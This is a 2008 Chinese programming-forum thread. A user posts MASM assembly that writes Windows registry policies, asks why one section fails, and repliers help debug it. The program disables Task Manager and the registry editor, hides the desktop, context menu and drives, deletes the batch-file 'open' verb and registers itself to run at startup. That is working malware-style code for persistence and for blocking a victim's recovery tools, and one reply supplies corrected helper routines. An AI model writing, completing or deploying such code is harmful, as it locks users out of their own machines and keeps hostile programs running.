首页
社区
课程
招聘
[讨论]为什么这个程序中间有段代码会不执行呢
发表于: 2008-5-4 22:31 4831

[讨论]为什么这个程序中间有段代码会不执行呢

2008-5-4 22:31
4831
这是一个关于注册表操作的程序,在虚拟机上实验了一下,发现了一个问题,就是程序开头那段关于注册表任务管理器禁用的执行了,最后面那段自动运行的也执行了,可中间那段关于桌面项设置的就是没有任何反应,进注册表看发现没有写进去,为什么写不进去啊,一样的格式啊
.386
.model flat,stdcall
option casemap:none

include windows.inc
include user32.inc
include kernel32.inc
include advapi32.inc

includelib user32.lib
includelib kernel32.lib
includelib advapi32.lib

.data
hKey            dword  ?
szFileName      dd     ?
szKey_2         byte  "Software\Microsoft\Windows\CurrentVersion\Run",0
szKey_1         byte  "Software\Microsoft\Windows\CurrentVersion\Policies\System",0
szKey_3         db    "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer",0
szKey_4         DB    "audiocd\shell",0
szKey_5         DB    "hkey_classes_root\batfile\shell",0
szOpen          db    "open",0
szValueAutoRun       db    "AutoRun",0
szKeyDefault    byte  "(数值未设置)",0
szKeyName_1     byte  "DisableTaskMgr",0
szKeyName_2     byte  "DisableRegistryTools",0
szKeyName_3_1     db   "NoViewContextMenu",0
szKeyName_3_2     db   "NoInternetIcon",0
szKeyName_3_3     db   "NoDesktop",0
szKeyName_3_4     db   "NoDestop",0
szKeyName_3_5     db   "nodrivers",0
szKeyName_4       db   "(默认)",0
szKey_Disable   dword  01
szKey_Enable    dword  00

.code
include                _Reg.asm
start:
;****************************************************************
;关闭cd播放器自动播放功能
invoke RegCreateKey,HKEY_CLASSES_ROOT,addr szKey_4,addr hKey
.if eax==ERROR_SUCCESS
    invoke RegSetValueEx,hKey,NULL,NULL,REG_SZ,addr szKeyDefault,sizeof szKeyDefault
  invoke RegSetValueEx,hKey,addr szKeyName_4,NULL,REG_DWORD,NULL,NULL
.endif
;****************************************************************
;****************************************************************
;禁用注册表,任务管理器
invoke RegCreateKey,HKEY_CURRENT_USER,addr szKey_1,addr hKey
.if eax==ERROR_SUCCESS
    invoke RegSetValueEx,hKey,NULL,NULL,REG_SZ,addr szKeyDefault,sizeof szKeyDefault
  invoke RegSetValueEx,hKey,addr szKeyName_1,NULL,REG_DWORD,addr szKey_Disable,sizeof szKey_Disable
  invoke RegSetValueEx,hKey,addr szKeyName_2,NULL,REG_DWORD,addr szKey_Disable,sizeof szKey_Disable
.endif
;**************************************************************
;**************************************************************
;有关桌面项设置
invoke RegCreateKey,HKEY_CURRENT_USER,addr szKey_3,addr hKey
.if eax==ERROR_SUCCESS
    invoke RegSetValueEx,hKey,NULL,NULL,REG_DWORD,addr szKeyDefault,sizeof szKeyDefault
  invoke RegSetValueEx,hKey,addr szKeyName_3_1,NULL,REG_DWORD,addr szKey_Disable,sizeof szKey_Disable
  invoke RegSetValueEx,hKey,addr szKeyName_3_2,NULL,REG_DWORD,addr szKey_Enable,sizeof szKey_Enable
  invoke RegSetValueEx,hKey,addr szKeyName_3_3,NULL,REG_DWORD,addr szKey_Disable,sizeof szKey_Disable
  invoke RegSetValueEx,hKey,addr szKeyName_3_4,NULL,REG_DWORD,addr szKey_Disable,sizeof szKey_Disable
  invoke RegSetValueEx,hKey,addr szKeyName_3_5,NULL,REG_DWORD,addr szKey_Disable,sizeof szKey_Disable
.endif
;****************************************************************
invoke _RegDelValue,addr szKey_5,addr szOpen

;**************************************************************
;开机自动运行
_SetAutorun   proc  _dwFlag

local @szFileName[MAX_PATH]:byte
.if  _dwFlag
invoke GetModuleFileName,NULL,addr @szFileName,MAX_PATH
inc    eax
invoke _RegSetValue,addr szKey_2,addr szValueAutoRun,addr @szFileName,REG_SZ,eax
.else
invoke _RegDelValue,addr szKey_2,addr szValueAutoRun
.endif
ret
_SetAutorun endp

invoke ExitProcess,0
end start
;********************************************************
_reg.asm内容
;********************************************************
_RegSetValue        proc        _lpszKey,_lpszValueName,_lpszValue,_dwValueType,_dwSize
                local        @hKey

                invoke        RegCreateKey,HKEY_LOCAL_MACHINE,_lpszKey,addr @hKey
                .if        eax == ERROR_SUCCESS
                        invoke        RegSetValueEx,@hKey,_lpszValueName,NULL,\
                                _dwValueType,_lpszValue,_dwSize
                        invoke        RegCloseKey,@hKey
                .endif
                ret

_RegSetValue        endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 删除键值
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_RegDelValue        proc        _lpszKey,_lpszValueName
                local        @hKey

                invoke        RegOpenKeyEx,HKEY_LOCAL_MACHINE,_lpszKey,NULL,\
                        KEY_WRITE,addr @hKey
                .if        eax == ERROR_SUCCESS
                        invoke        RegDeleteValue,@hKey,_lpszValueName
                        invoke        RegCloseKey,@hKey
                .endif
                ret

_RegDelValue        endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

[课程]Android-CTF解题方法汇总!

收藏
免费 0
支持
分享
最新回复 (8)
雪    币: 140
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
szKey_1         byte  "Software\Microsoft\Windows\CurrentVersion\Policies\System",0
szKey_3         db    "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer",0
这有个错误,\的输入时输入法不正确,但改了后试验还是不行,修改后键值写进但还是没效果,请高手解释
2008-5-4 22:42
0
雪    币: 224
活跃值: (10)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
3
要不要用\\??
2008-5-4 22:53
0
雪    币: 140
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
不明白你的意思,能不能说明白点
2008-5-4 22:56
0
雪    币: 224
活跃值: (10)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
5
单步跟一下试试呢???
2008-5-4 23:18
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
\要换成 \

hkey_classes_root 改成 HKEY_CLASSES_ROOT 看看
2008-5-5 01:23
0
雪    币: 140
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
你没见我说改了还是不行吗?
2008-5-5 12:37
0
雪    币: 248
活跃值: (1056)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_RegSetValue  proc  _lpszKey,_lpszValueName,_lpszValue,_dwValueType,_dwSize
        local  @hKey

        invoke  RegCreateKey,HKEY_CURRENT_USER,_lpszKey,addr @hKey
        .if  eax == ERROR_SUCCESS
                invoke  RegSetValueEx,@hKey,_lpszValueName,NULL,\
                        _dwValueType,_lpszValue,_dwSize
                invoke  RegCloseKey,@hKey
        .endif
        ret

_RegSetValue  endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_RegDelValue  proc  _lpszKey,_lpszValueName
        local  @hKey

        invoke  RegOpenKeyEx,HKEY_CURRENT_USER,_lpszKey,NULL,\
                        KEY_WRITE,addr @hKey
        .if  eax == ERROR_SUCCESS
                invoke  RegDeleteValue,@hKey,_lpszValueName
                invoke  RegCloseKey,@hKey
        .endif
        ret

_RegDelValue  endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_RegCreateKey proc _lpszKey,_lpszSubKeyName
        local        @hKey,@hSubkey,@dwDisp

        invoke        RegOpenKeyEx,HKEY_CURRENT_USER,_lpszKey,NULL,KEY_CREATE_SUB_KEY,addr @hKey
        .if        eax == ERROR_SUCCESS
                invoke        RegCreateKeyEx,@hKey,_lpszSubKeyName,NULL,NULL,NULL,NULL,NULL,addr @hSubkey,addr @dwDisp
                invoke        RegCloseKey,@hKey
                invoke        RegCloseKey,@hSubkey
        .endif
        ret

_RegCreateKey        endp

start:
invoke        _RegCreateKey,addr szKey_3,CTEXT("Test_xxx")
        .if eax==ERROR_SUCCESS
                invoke        _RegSetValue,addr szKey_3,CTEXT("Test_xxx"),addr szKey_Disable,REG_DWORD,4
        .endif
        invoke        ExitProcess,NULL
end start
;注意修改根叉:
;1。HKEY_CLASSES_ROOT
;2。HKEY_CURRENT_USER
;3。HKEY_LOCAL_MACHINE
;4。HKEY_USES
;5。HKEY_CURRENT_CONFIG
2008-5-5 15:21
0
雪    币: 140
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
今天我再开虚拟机发现起作用了,可能是要重启才能看到的,呵呵
2008-5-6 21:10
0
游客
登录 | 注册 方可回帖
返回
//